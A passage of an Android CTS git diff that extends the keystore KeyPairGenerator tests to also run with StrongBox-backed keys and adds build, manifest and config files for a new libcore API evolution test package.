                 assertEquals(algorithm, key.getAlgorithm());
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
index adec153..b4b17f1 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
@@ -299,6 +299,13 @@
     }
 
     public void testGenerateHonorsRequestedAuthorizations() throws Exception {
+        testGenerateHonorsRequestedAuthorizationsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerateHonorsRequestedAuthorizationsHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerateHonorsRequestedAuthorizationsHelper(boolean useStrongbox) {
         Date keyValidityStart = new Date(System.currentTimeMillis() - TestUtils.DAY_IN_MILLIS);
         Date keyValidityForOriginationEnd =
                 new Date(System.currentTimeMillis() + TestUtils.DAY_IN_MILLIS);
@@ -322,6 +329,7 @@
                         .setKeyValidityStart(keyValidityStart)
                         .setKeyValidityForOriginationEnd(keyValidityForOriginationEnd)
                         .setKeyValidityForConsumptionEnd(keyValidityForConsumptionEnd)
+                        .setIsStrongBoxBacked(useStrongbox)
                         .build());
                 KeyPair keyPair = generator.generateKeyPair();
                 assertEquals(algorithm, keyPair.getPrivate().getAlgorithm());
@@ -353,7 +361,8 @@
                 assertFalse(keyInfo.isUserAuthenticationRequired());
                 assertFalse(keyInfo.isUserAuthenticationRequirementEnforcedBySecureHardware());
             } catch (Throwable e) {
-                throw new RuntimeException("Failed for " + algorithm, e);
+                String specific = useStrongbox ? "Strongbox:" : "";
+                throw new RuntimeException(specific + "Failed for " + algorithm, e);
             }
         }
     }
@@ -562,8 +571,14 @@
                 KeyProperties.SIGNATURE_PADDING_RSA_PKCS1);
     }
 
-    public void testGenerate_ReplacesOldEntryWithSameAlias()
-            throws Exception {
+    public void testGenerate_ReplacesOldEntryWithSameAlias() throws Exception {
+        replacesOldEntryWithSameAliasHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            replacesOldEntryWithSameAliasHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void replacesOldEntryWithSameAliasHelper(boolean useStrongbox) throws Exception {
         // Generate the first key
         {
             KeyPairGenerator generator = getRsaGenerator();
@@ -579,6 +594,7 @@
                     .setCertificateSerialNumber(TEST_SERIAL_1)
                     .setCertificateNotBefore(NOW)
                     .setCertificateNotAfter(NOW_PLUS_10_YEARS)
+                    .setIsStrongBoxBacked(useStrongbox)
                     .build());
             assertGeneratedKeyPairAndSelfSignedCertificate(
                     generator.generateKeyPair(),
@@ -606,6 +622,7 @@
                     .setCertificateSerialNumber(TEST_SERIAL_2)
                     .setCertificateNotBefore(NOW)
                     .setCertificateNotAfter(NOW_PLUS_10_YEARS)
+                    .setIsStrongBoxBacked(useStrongbox)
                     .build());
             assertGeneratedKeyPairAndSelfSignedCertificate(
                     generator.generateKeyPair(),
@@ -619,8 +636,14 @@
         }
     }
 
-    public void testGenerate_DoesNotReplaceOtherEntries()
-            throws Exception {
+    public void testGenerate_DoesNotReplaceOtherEntries() throws Exception {
+        doesNotReplaceOtherEntriesHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            doesNotReplaceOtherEntriesHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void doesNotReplaceOtherEntriesHelper(boolean useStrongbox) throws Exception {
         // Generate the first key
         KeyPairGenerator generator = getRsaGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
@@ -635,6 +658,7 @@
                 .setCertificateSerialNumber(TEST_SERIAL_1)
                 .setCertificateNotBefore(NOW)
                 .setCertificateNotAfter(NOW_PLUS_10_YEARS)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build());
         KeyPair keyPair1 = generator.generateKeyPair();
         assertGeneratedKeyPairAndSelfSignedCertificate(
@@ -660,6 +684,7 @@
                 .setCertificateSerialNumber(TEST_SERIAL_2)
                 .setCertificateNotBefore(NOW)
                 .setCertificateNotAfter(NOW_PLUS_10_YEARS)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build());
         KeyPair keyPair2 = generator.generateKeyPair();
         assertGeneratedKeyPairAndSelfSignedCertificate(
@@ -685,10 +710,18 @@
     }
 
     public void testGenerate_EC_ModernSpec_Defaults() throws Exception {
+        testGenerate_EC_ModernSpec_DefaultsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerate_EC_ModernSpec_DefaultsHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerate_EC_ModernSpec_DefaultsHelper(boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getEcGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
                 KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build());
         KeyPair keyPair = generator.generateKeyPair();
         assertGeneratedKeyPairAndSelfSignedCertificate(
@@ -720,10 +753,18 @@
     }
 
     public void testGenerate_RSA_ModernSpec_Defaults() throws Exception {
+        testGenerate_RSA_ModernSpec_DefaultsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerate_RSA_ModernSpec_DefaultsHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerate_RSA_ModernSpec_DefaultsHelper(boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getRsaGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
                 KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build());
         KeyPair keyPair = generator.generateKeyPair();
         assertGeneratedKeyPairAndSelfSignedCertificate(
@@ -818,14 +859,85 @@
         assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
+    // Strongbox has more restrictions on key properties than general keystore.
+    // This is a reworking of the generic test to still be as custom as possible while
+    // respecting the spec constraints.
+    // Test fails until the resolution of b/113276806
+    public void testGenerate_EC_ModernSpec_AsCustomAsPossibleStrongbox() throws Exception {
+        if (!TestUtils.hasStrongBox(getContext())) {
+            return;
+        }
+        KeyPairGenerator generator = getEcGenerator();
+        Date keyValidityStart = new Date(System.currentTimeMillis());
+        Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 1000000);
+        Date keyValidityEndDateForConsumption = new Date(System.currentTimeMillis() + 10000000);
+
+        Date certNotBefore = new Date(System.currentTimeMillis() - 1000 * 60 * 60 * 24 * 7);
+        Date certNotAfter = new Date(System.currentTimeMillis() + 1000 * 60 * 60 * 24 * 7);
+        BigInteger certSerialNumber = new BigInteger("12345678");
+        X500Principal certSubject = new X500Principal("cn=hello");
+        generator.initialize(new KeyGenParameterSpec.Builder(
+                TEST_ALIAS_1,
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY
+                        | KeyProperties.PURPOSE_ENCRYPT)
+                .setKeySize(256)
+                .setDigests(KeyProperties.DIGEST_SHA256)
+                .setKeyValidityStart(keyValidityStart)
+                .setKeyValidityForOriginationEnd(keyValidityEndDateForOrigination)
+                .setKeyValidityForConsumptionEnd(keyValidityEndDateForConsumption)
+                .setCertificateSerialNumber(certSerialNumber)
+                .setCertificateSubject(certSubject)
+                .setCertificateNotBefore(certNotBefore)
+                .setCertificateNotAfter(certNotAfter)
+                .setUnlockedDeviceRequired(true)
+                .setIsStrongBoxBacked(true)
+                .build());
+        KeyPair keyPair = generator.generateKeyPair();
+        assertGeneratedKeyPairAndSelfSignedCertificate(
+                keyPair,
+                TEST_ALIAS_1,
+                "EC",
+                256,
+                certSubject,
+                certSerialNumber,
+                certNotBefore,
+                certNotAfter);
+        TestUtils.assertECParameterSpecEqualsIgnoreSeedIfNotPresent(
+                ECCurves.NIST_P_256_SPEC, ((ECKey) keyPair.getPrivate()).getParams());
+        KeyInfo keyInfo = TestUtils.getKeyInfo(keyPair.getPrivate());
+        assertEquals(256, keyInfo.getKeySize());
+        assertEquals(TEST_ALIAS_1, keyInfo.getKeystoreAlias());
+        assertOneOf(keyInfo.getOrigin(),
+                KeyProperties.ORIGIN_GENERATED, KeyProperties.ORIGIN_UNKNOWN);
+        assertEquals(
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY
+                        | KeyProperties.PURPOSE_ENCRYPT,
+                keyInfo.getPurposes());
+        assertEquals(keyValidityStart, keyInfo.getKeyValidityStart());
+        assertEquals(keyValidityEndDateForOrigination, keyInfo.getKeyValidityForOriginationEnd());
+        assertEquals(keyValidityEndDateForConsumption, keyInfo.getKeyValidityForConsumptionEnd());
+        MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getBlockModes()));
+
+        List<String> actualDigests = new ArrayList<String>(Arrays.asList(keyInfo.getDigests()));
+        // Keystore may have added DIGEST_NONE, to allow software digesting.
+        actualDigests.remove(KeyProperties.DIGEST_NONE);
+        TestUtils.assertContentsInAnyOrder(
+                actualDigests, KeyProperties.DIGEST_SHA256);
+
+        MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getSignaturePaddings()));
+        MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getEncryptionPaddings()));
+        assertFalse(keyInfo.isUserAuthenticationRequired());
+        assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+    }
+
     public void testGenerate_RSA_ModernSpec_AsCustomAsPossible() throws Exception {
         KeyPairGenerator generator = getRsaGenerator();
         Date keyValidityStart = new Date(System.currentTimeMillis());
         Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 1000000);
         Date keyValidityEndDateForConsumption = new Date(System.currentTimeMillis() + 10000000);
 
-        Date certNotBefore = new Date(System.currentTimeMillis() - 1000 * 60 * 60 * 24 * 210);
-        Date certNotAfter = new Date(System.currentTimeMillis() + 1000 * 60 * 60 * 24 * 210);
+        Date certNotBefore = new Date(System.currentTimeMillis() - 1000L * 60 * 60 * 24 * 210);
+        Date certNotAfter = new Date(System.currentTimeMillis() + 1000L * 60 * 60 * 24 * 210);
         BigInteger certSerialNumber = new BigInteger("1234567890");
         X500Principal certSubject = new X500Principal("cn=hello2");
         generator.initialize(new KeyGenParameterSpec.Builder(
@@ -900,12 +1012,110 @@
         assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
+    // Strongbox has more restrictions on key properties than general keystore.
+    // This is a reworking of the generic test to still be as custom as possible while
+    // respecting the spec constraints.
+    // Test fails until the resolution of b/113276806
+    public void testGenerate_RSA_ModernSpec_AsCustomAsPossibleStrongbox() throws Exception {
+        if (!TestUtils.hasStrongBox(getContext())) {
+            return;
+        }
+        KeyPairGenerator generator = getRsaGenerator();
+        Date keyValidityStart = new Date(System.currentTimeMillis());
+        Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 1000000);
+        Date keyValidityEndDateForConsumption = new Date(System.currentTimeMillis() + 10000000);
+
+        Date certNotBefore = new Date(System.currentTimeMillis() - 1000L * 60 * 60 * 24 * 210);
+        Date certNotAfter = new Date(System.currentTimeMillis() + 1000L * 60 * 60 * 24 * 210);
+        BigInteger certSerialNumber = new BigInteger("1234567890");
+        X500Principal certSubject = new X500Principal("cn=hello2");
+        generator.initialize(new KeyGenParameterSpec.Builder(
+                TEST_ALIAS_1,
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY
+                        | KeyProperties.PURPOSE_ENCRYPT)
+                .setAlgorithmParameterSpec(
+                        new RSAKeyGenParameterSpec(2048, RSAKeyGenParameterSpec.F0))
+                .setKeySize(2048)
+                .setDigests(KeyProperties.DIGEST_SHA256)
+                .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PSS,
+                        KeyProperties.SIGNATURE_PADDING_RSA_PKCS1)
+                .setBlockModes(KeyProperties.BLOCK_MODE_ECB)
+                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_RSA_OAEP,
+                        KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1)
+                .setKeyValidityStart(keyValidityStart)
+                .setKeyValidityForOriginationEnd(keyValidityEndDateForOrigination)
+                .setKeyValidityForConsumptionEnd(keyValidityEndDateForConsumption)
+                .setCertificateSerialNumber(certSerialNumber)
+                .setCertificateSubject(certSubject)
+                .setCertificateNotBefore(certNotBefore)
+                .setCertificateNotAfter(certNotAfter)
+                .setUnlockedDeviceRequired(true)
+                .setIsStrongBoxBacked(true)
+                .build());
+        KeyPair keyPair = generator.generateKeyPair();
+        assertGeneratedKeyPairAndSelfSignedCertificate(
+                keyPair,
+                TEST_ALIAS_1,
+                "RSA",
+                2048,
+                certSubject,
+                certSerialNumber,
+                certNotBefore,
+                certNotAfter);
+        assertEquals(RSAKeyGenParameterSpec.F0,
+                ((RSAPublicKey) keyPair.getPublic()).getPublicExponent());
+        KeyInfo keyInfo = TestUtils.getKeyInfo(keyPair.getPrivate());
+        assertEquals(2048, keyInfo.getKeySize());
+        assertEquals(TEST_ALIAS_1, keyInfo.getKeystoreAlias());
+        assertOneOf(keyInfo.getOrigin(),
+                KeyProperties.ORIGIN_GENERATED, KeyProperties.ORIGIN_UNKNOWN);
+        assertEquals(
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY
+                        | KeyProperties.PURPOSE_ENCRYPT,
+                keyInfo.getPurposes());
+        assertEquals(keyValidityStart, keyInfo.getKeyValidityStart());
+        assertEquals(keyValidityEndDateForOrigination, keyInfo.getKeyValidityForOriginationEnd());
+        assertEquals(keyValidityEndDateForConsumption, keyInfo.getKeyValidityForConsumptionEnd());
+
+        List<String> actualDigests =
+	    new ArrayList<String>(Arrays.asList(keyInfo.getDigests()));
+        // Keystore may have added DIGEST_NONE, to allow software digesting.
+        actualDigests.remove(KeyProperties.DIGEST_NONE);
+        TestUtils.assertContentsInAnyOrder(
+                actualDigests, KeyProperties.DIGEST_SHA256);
+
+        TestUtils.assertContentsInAnyOrder(Arrays.asList(keyInfo.getSignaturePaddings()),
+                KeyProperties.SIGNATURE_PADDING_RSA_PKCS1,
+                KeyProperties.SIGNATURE_PADDING_RSA_PSS);
+        MoreAsserts.assertContentsInAnyOrder(Arrays.asList(keyInfo.getBlockModes()),
+                KeyProperties.BLOCK_MODE_ECB);
+
+        List<String> actualEncryptionPaddings =
+                new ArrayList<String>(Arrays.asList(keyInfo.getEncryptionPaddings()));
+        // Keystore may have added ENCRYPTION_PADDING_NONE, to allow software padding.
+        actualEncryptionPaddings.remove(KeyProperties.ENCRYPTION_PADDING_NONE);
+        TestUtils.assertContentsInAnyOrder(actualEncryptionPaddings,
+                KeyProperties.ENCRYPTION_PADDING_RSA_OAEP,
+                KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1);
+
+        assertFalse(keyInfo.isUserAuthenticationRequired());
+        assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+    }
+
     public void testGenerate_EC_ModernSpec_UsableForTLSPeerAuth() throws Exception {
+        testGenerate_EC_ModernSpec_UsableForTLSPeerAuthHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerate_EC_ModernSpec_UsableForTLSPeerAuthHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerate_EC_ModernSpec_UsableForTLSPeerAuthHelper(boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getEcGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
                 KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
                 .setDigests(KeyProperties.DIGEST_NONE, KeyProperties.DIGEST_SHA384)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build());
         KeyPair keyPair = generator.generateKeyPair();
         assertGeneratedKeyPairAndSelfSignedCertificate(
@@ -972,6 +1182,13 @@
     // that at least one fingerprint is enrolled.
 
     public void testGenerate_EC_ModernSpec_KeyNotYetValid() throws Exception {
+        testGenerate_EC_ModernSpec_KeyNotYetValidHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerate_EC_ModernSpec_KeyNotYetValidHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerate_EC_ModernSpec_KeyNotYetValidHelper(boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getEcGenerator();
         Date validityStart = new Date(System.currentTimeMillis() + DAY_IN_MILLIS);
         generator.initialize(new KeyGenParameterSpec.Builder(
@@ -980,6 +1197,7 @@
                 .setKeySize(256)
                 .setDigests(KeyProperties.DIGEST_SHA256)
                 .setKeyValidityStart(validityStart)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build());
         KeyPair keyPair = generator.generateKeyPair();
         assertGeneratedKeyPairAndSelfSignedCertificate(
@@ -1025,27 +1243,47 @@
         assertKeyGenUsingECSizeOnlyUsesCorrectCurve(256, ECCurves.NIST_P_256_SPEC);
         assertKeyGenUsingECSizeOnlyUsesCorrectCurve(384, ECCurves.NIST_P_384_SPEC);
         assertKeyGenUsingECSizeOnlyUsesCorrectCurve(521, ECCurves.NIST_P_521_SPEC);
+        if (TestUtils.hasStrongBox(getContext())) {
+            assertKeyGenUsingECSizeOnlyUsesCorrectCurve(256, ECCurves.NIST_P_256_SPEC, true);
+        }
     }
 
+    //TODO: Fix b/113108008 so this test will pass for strongbox.
     public void testGenerate_EC_ModernSpec_UnsupportedSizesRejected() throws Exception {
         for (int keySizeBits = 0; keySizeBits <= 1024; keySizeBits++) {
+            testGenerate_EC_ModernSpec_UnsupportedSizesRejectedHelper(false, keySizeBits);
+            if (TestUtils.hasStrongBox(getContext())) {
+                testGenerate_EC_ModernSpec_UnsupportedSizesRejectedHelper(true, keySizeBits);
+            }
+        }
+    }
+
+    private void testGenerate_EC_ModernSpec_UnsupportedSizesRejectedHelper(boolean useStrongbox, int keySizeBits) throws Exception {
+        if (!useStrongbox) {
             if ((keySizeBits == 224) || (keySizeBits == 256) || (keySizeBits == 384)
                     || (keySizeBits == 521)) {
                 // Skip supported sizes
-                continue;
+                return;
             }
-            KeyPairGenerator generator = getEcGenerator();
+        } else {
+            // Strongbox only supports 256 bit EC key size
+            if (keySizeBits == 256) {
+                return;
+            }
+        }
+        KeyPairGenerator generator = getEcGenerator();
 
-            try {
-                generator.initialize(new KeyGenParameterSpec.Builder(
-                        TEST_ALIAS_1,
-                        KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
-                        .setKeySize(keySizeBits)
-                        .build());
-                fail("EC KeyPairGenerator initialized with unsupported key size: "
-                        + keySizeBits + " bits");
-            } catch (InvalidAlgorithmParameterException expected) {
-            }
+        try {
+            generator.initialize(new KeyGenParameterSpec.Builder(
+                    TEST_ALIAS_1,
+                    KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+                    .setKeySize(keySizeBits)
+                    .setIsStrongBoxBacked(useStrongbox)
+                    .build());
+            fail("EC KeyPairGenerator initialized with unsupported key size: "
+                    + keySizeBits + " bits. useStrongbox: " + useStrongbox
+                    + "\nThis test will fail until b/113108008 is resolved");
+        } catch (InvalidAlgorithmParameterException expected) {
         }
     }
 
@@ -1062,6 +1300,15 @@
         assertKeyGenUsingECNamedCurveSupported("prime256v1", ECCurves.NIST_P_256_SPEC);
         assertKeyGenUsingECNamedCurveSupported("PRIME256V1", ECCurves.NIST_P_256_SPEC);
 
+        if (TestUtils.hasStrongBox(getContext())) {
+            assertKeyGenUsingECNamedCurveSupported("P-256", ECCurves.NIST_P_256_SPEC, true);
+            assertKeyGenUsingECNamedCurveSupported("p-256", ECCurves.NIST_P_256_SPEC, true);
+            assertKeyGenUsingECNamedCurveSupported("secp256r1", ECCurves.NIST_P_256_SPEC, true);
+            assertKeyGenUsingECNamedCurveSupported("SECP256R1", ECCurves.NIST_P_256_SPEC, true);
+            assertKeyGenUsingECNamedCurveSupported("prime256v1", ECCurves.NIST_P_256_SPEC, true);
+            assertKeyGenUsingECNamedCurveSupported("PRIME256V1", ECCurves.NIST_P_256_SPEC, true);
+        }
+
         assertKeyGenUsingECNamedCurveSupported("P-384", ECCurves.NIST_P_384_SPEC);
         assertKeyGenUsingECNamedCurveSupported("p-384", ECCurves.NIST_P_384_SPEC);
         assertKeyGenUsingECNamedCurveSupported("secp384r1", ECCurves.NIST_P_384_SPEC);
@@ -1078,6 +1325,9 @@
         assertKeyGenUsingRSASizeOnlySupported(768);
         assertKeyGenUsingRSASizeOnlySupported(1024);
         assertKeyGenUsingRSASizeOnlySupported(2048);
+        if (TestUtils.hasStrongBox(getContext())) {
+            assertKeyGenUsingRSASizeOnlySupported(2048, true);
+        }
         assertKeyGenUsingRSASizeOnlySupported(3072);
         assertKeyGenUsingRSASizeOnlySupported(4096);
 
@@ -1088,8 +1338,16 @@
     }
 
     public void testGenerate_RSA_IndCpaEnforced() throws Exception {
+        testGenerate_RSA_IndCpaEnforcedHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerate_RSA_IndCpaEnforcedHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerate_RSA_IndCpaEnforcedHelper(boolean useStrongbox) throws Exception {
         KeyGenParameterSpec.Builder goodBuilder = new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1, KeyProperties.PURPOSE_ENCRYPT)
+                .setIsStrongBoxBacked(useStrongbox)
                 .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_RSA_OAEP,
                         KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1);
         assertKeyGenInitSucceeds("RSA", goodBuilder.build());
@@ -1119,8 +1377,16 @@
     }
 
     public void testGenerate_EC_IndCpaEnforced() throws Exception {
+        testGenerate_EC_IndCpaEnforcedHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerate_EC_IndCpaEnforcedHelper(true /* useStrongbox */);
+        }
+    }
+
+    public void testGenerate_EC_IndCpaEnforcedHelper(boolean useStrongbox) throws Exception {
         KeyGenParameterSpec.Builder goodBuilder = new KeyGenParameterSpec.Builder(
-                TEST_ALIAS_2, KeyProperties.PURPOSE_ENCRYPT);
+                TEST_ALIAS_2, KeyProperties.PURPOSE_ENCRYPT)
+                .setIsStrongBoxBacked(useStrongbox);
         assertKeyGenInitSucceeds("EC", goodBuilder.build());
 
         // Should be fine because IND-CPA restriction applies only to encryption keys
@@ -1143,6 +1409,13 @@
 
     // http://b/28384942
     public void testGenerateWithFarsiLocale() throws Exception {
+        testGenerateWithFarsiLocaleHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerateWithFarsiLocaleHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerateWithFarsiLocaleHelper(boolean useStrongbox) throws Exception {
         Locale defaultLocale = Locale.getDefault();
         // Note that we use farsi here because its number formatter doesn't use
         // arabic digits.
@@ -1159,6 +1432,7 @@
                    TEST_ALIAS_1, KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
                    .setBlockModes(KeyProperties.BLOCK_MODE_ECB)
                    .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1)
+                   .setIsStrongBoxBacked(useStrongbox)
                    .build());
 
             keyGenerator.generateKeyPair();
@@ -1184,11 +1458,17 @@
 
     private void assertKeyGenUsingECSizeOnlyUsesCorrectCurve(
             int keySizeBits, ECParameterSpec expectedParams) throws Exception {
+        assertKeyGenUsingECSizeOnlyUsesCorrectCurve(keySizeBits, expectedParams, false);
+    }
+
+    private void assertKeyGenUsingECSizeOnlyUsesCorrectCurve(
+            int keySizeBits, ECParameterSpec expectedParams, boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getEcGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
                 KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
                 .setKeySize(keySizeBits)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build(),
                 mRng);
         mRng.resetCounters();
@@ -1214,11 +1494,16 @@
 
     private void assertKeyGenUsingECNamedCurveSupported(
             String curveName, ECParameterSpec expectedParams) throws Exception {
+        assertKeyGenUsingECNamedCurveSupported(curveName, expectedParams, false);
+    }
+    private void assertKeyGenUsingECNamedCurveSupported(
+            String curveName, ECParameterSpec expectedParams, boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getEcGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
                 KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
                 .setAlgorithmParameterSpec(new ECGenParameterSpec(curveName))
+                .setIsStrongBoxBacked(useStrongbox)
                 .build(),
                 mRng);
         mRng.resetCounters();
@@ -1243,11 +1528,16 @@
     }
 
     private void assertKeyGenUsingRSASizeOnlySupported(int keySizeBits) throws Exception {
+        assertKeyGenUsingRSASizeOnlySupported(keySizeBits, false);
+    }
+
+    private void assertKeyGenUsingRSASizeOnlySupported(int keySizeBits, boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getRsaGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
                 KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
                 .setKeySize(keySizeBits)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build(),
                 mRng);
         mRng.resetCounters();
diff --git a/tests/tests/libcoreapievolution/Android.mk b/tests/tests/libcoreapievolution/Android.mk
new file mode 100644
index 0000000..84b8279
--- /dev/null
+++ b/tests/tests/libcoreapievolution/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit
+
+LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreApiEvolutionTestCases
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/libcoreapievolution/AndroidManifest.xml b/tests/tests/libcoreapievolution/AndroidManifest.xml
new file mode 100644
index 0000000..0e36e41
--- /dev/null
+++ b/tests/tests/libcoreapievolution/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2018 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.apievolution.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.apievolution.cts"
+                     android:label="CTS tests for required method signatures on device">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/libcoreapievolution/AndroidTest.xml b/tests/tests/libcoreapievolution/AndroidTest.xml
new file mode 100644
index 0000000..f777701
--- /dev/null
+++ b/tests/tests/libcoreapievolution/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Legacy Libcore test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLibcoreApiEvolutionTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.apievolution.cts" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
